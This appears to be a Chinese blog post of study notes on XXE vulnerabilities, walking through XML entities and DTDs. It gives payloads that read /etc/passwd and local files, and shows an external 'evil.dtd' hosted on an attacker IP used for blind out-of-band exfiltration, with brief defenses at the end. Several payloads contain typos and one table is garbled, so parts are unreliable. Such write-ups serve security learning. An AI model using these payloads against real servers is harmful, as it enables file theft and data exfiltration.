XXE漏洞学习笔记

一、XML定义

看一段示例

<?xml version="1.0" encoding="ISO-8859-1"?>   //用来说明xml格式的数据的开始,告诉xml解析器版本号
<!DOCTYPE foo [									//DTD文档的开始
<!ELEMENT foo ANY >								//创建一个元素
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>	//定义一个外部实体
<creds>											//xml数据开始   <creds>为父元素
    <user>&xxe;</user>							//& 代表引用上述定义的的实体	<user>为子元素  尖括号和单双引号
    <pass>mypass</pass>
</creds>

元素:从开始标签到结束标签为一个元素

XML格式

<?xml version=“1.0”>
<! DOCTYPE foo[ ]> //DTD文档
//xml数据

XML解析器在第一行被以指定的版本启动后,下一步检查DTD是否合法

随后解析xml格式的数据

XML与HTML的异同

相同相异
都为标记型语言XML属性必须加引号
所有元素均可拥有文本内容和属性标签闭合规则严格
HTML侧重于数据的展示 XML侧重于数据的传输
HTML标签是实现被预定的

二、DTD与ENEITY

DTD:文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

由于XML元素中不能加入尖括号和单双引号等特殊字符

但是传输时又需要用到该字符

于是出现 实体 ENEITY**这个定义

实体又分为三类

1.一般实体
<!ENTITY name "pwn">
...
..

<hello>&name;</hello>
2.参数实体

参数实体只用于 DTD 和文档的内部子集中

将一个实体作为值 赋给另一个实体

<!ENEITY % name "<!ENEITY boy 'john'>">

3.预定义实体

因为为解决不能使用尖括号等特殊符号问题

使用 #x3c 的代替 很像各类编程语言中的预留字符串

<hello>&#x3c;</hello>

三、WHAT IS SYSTEM?

如下所示,我们经常在payload中看到SYSTEM 这个关键字

它的作用是告诉xml解析器 需要xml解析器去获取该处的外部实体资源 并将该值赋给name实体


<?xml version="1.0" >

<!DOCTYPE xxe[

​	<!ENEITY name SYSTEM "file:///etc/passwd">

]>

<pwn>&name;</pwn>


可以看到SYSTEM 后跟的file协议 XXE 除file协议外 还支持多种协议 比如利用http协议来完成SSRF

img

四、利用

0X01回显

服务器将xml执行结果直接回显的情况下

在这里插入图片描述

在这里插入图片描述

直接修改body值如下

在这里插入图片描述

读取到system.ini

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L2OnUDVg-1622893443269)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210531190912791.png)]

0X02 CDATA

当我们读取system.ini文件时正常回显

但是当我们读取如下奇奇怪怪的文件时

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CHohT2EQ-1622893443271)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210603110234050.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ffMnktJr-1622893443272)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210603110338431.png)]

因为该文件中的<>尖括号等特殊字符 破坏了xml文档的结构 让解析器分不清

于是我们在此处使用CDATA

所有 XML 文档中的文本均会被解析器解析。

只有 CDATA 区段(CDATA section)中的文本会被解析器忽略。

术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" 和 “&” 是非法的。

“<” 会产生错误,因为解析器会把该字符解释为新元素的开始。

“&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 “<![CDATA[*" 开始,由 "*]]>” 结束:

所以需要我们将读出来的数据放在CDATA中 避免XML解析器的解析

初步payload如下 这样拼接出来的数据的大致格式就是这个样子 使用CDATA 将我们要读的数据包裹起来

<![CDATA[passwd]]>
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///C:/Users/11727/Desktop/1.txt">  
<!ENTITY % end "]]>">  
<!ENTITY all "&start;$goodies;%end;"> 
 ]> 

<roottag>&all;</roottag>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VOsLE97K-1622893443273)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210603111448832.png)]

0x03报错

根据报错 以及查看xml文档

原因是 不允许在实体定义过程中 直接将一个参数实体作为值赋给另一个实体

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0aRLAWY2-1622893443274)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210530205449094.png)]

但是若在外部实体 允许参数实体的调用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yfzs1hu3-1622893443274)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210530205421709.png)]

0x04 Bypass

既然不允许在内部dtd中直接进行参数实体的引用 那我们就将该步骤放在外部dtd中完成

1、引用外部的恶意DTD

2、由DTD 中定义的实体分别进行读取和发送操作

修改payload如下 引用外部的名为evil的dtd文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///C:/Users/11727/Desktop/1.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://192.168.2.58/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd内容如下

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

成功读出数据(经过测试 数据符号太多的时候 换行太多还是读取失败 比如说etcpasswd也是乱码)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EFTZ9DC9-1622893443275)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210603113625916.png)]

0x04 不回显

大多数情况下 服务器是不会将执行的xml的结果返回

所以我们需要在确定服务器执行了我们的xml代码后 并把数据带出来 是 Blind XXE

此时有两个动作 1、读取服务器上的数据 2、将该数据发送至我们的服务器

首先在攻击机服务器中启动http服务 为了更好的观察到执行的流程 此处启动两个端口 分别是80 和1337

python -m SimpleHTTPServer 1337

python -m SimpleHTTPServer 80

之后将外部DTD的目录下开启80端口

外部DTD内容如下

在这里插入图片描述

payload如下

|                                         || ------------------------------------------------------------ || //使用外部的恶意DTD || &send;Mikasa调用send实体 ||
|

之后发送payload后报错如下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pZaueMsP-1622893443277)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210530201527012.png)]

(即使使用了CDATA 还是有乱码的可能,在读取文件操作时加上,将要读取的数据变为base64

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oGf3liJ8-1622893443278)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210530210158610.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ni8taof6-1622893443278)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210530205214753.png)]

总结

我们的payload中的 加载远程恶意dtd

调用使用了名为send的实体

因此服务器开放的80首先收到了get请求

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5Pv7xHYl-1622893443279)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210530210204240.png)]
在这里插入图片描述

之后xml解释器在加载外部恶意dtd

根据dtd 调用wrapper 将http://**/passwd的值 赋给wrapper 在该过程前 将读取文件的值 赋给passwd

恶意dtd加载完毕

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q2sHIA1D-1622893443280)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210530205832877.png)]

又通过send实体加载了passwd实体完成读取的操作后 向1337端口发起了请求

该行为可以通过1337端口HTTP服务的日志观察到

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cqjupawA-1622893443281)(C:\Users\11727\AppData\Roaming\Typora\typora-user-images\image-20210530210131291.png)]

防御

禁止解析外部实体

禁止定义DTD

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Geoserver是一个开源的地理信息系统(GIS)软件,它用于发布和共享地理数据和服务。然而,Geoserver在某些情况下可能存在一个称为XXEXML外部实体)漏洞XXE漏洞是一种安全漏洞,攻击者可以利用该漏洞来读取本地或远程服务器上的文件。这种漏洞通常是由于应用程序在处理XML输入时,对外部实体的处理不当而引起的。 具体到Geoserver的XXE漏洞,它可能会受到XML实体注入攻击。攻击者可以通过向Geoserver发送包含恶意XML实体引用的请求,来读取系统上的敏感文件或执行任意代码。 为了防止Geoserver XXE漏洞的利用,有几个关键的步骤可以采取: 1. 更新Geoserver:确保您使用的是最新版本的Geoserver。开源软件的维护者通常会修复已知的漏洞,并在新版本中发布修复程序。 2. 安全的配置文件处理:确保Geoserver的配置文件中没有不必要的文件,因为攻击者可能会利用这些文件访问敏感信息。 3. 过滤和验证用户输入:在输入和输出时,对用户提交的XML数据进行充分验证和过滤。这将有助于防止输入的恶意XML实体被执行。 4. 强化安全意识:向Geoserver用户和管理员提供适当的培训,以提高他们对安全问题的意识。这将有助于减少社会工程学攻击和恶意操作。 总之,Geoserver XXE漏洞是一种可以利用的安全漏洞,但通过更新软件、安全配置文件处理、过滤验证用户输入和提高安全意识,可以有效地减少这种漏洞的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值